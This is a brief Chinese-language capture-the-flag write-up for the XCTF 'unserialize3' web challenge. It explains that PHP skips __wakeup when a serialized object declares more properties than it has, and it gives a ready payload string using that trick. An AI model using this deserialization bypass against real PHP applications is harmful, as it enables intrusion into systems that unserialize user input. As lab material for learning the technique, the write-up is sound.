攻防世界Web-unserialize3

當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過__wakeup的執行。

payload: ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}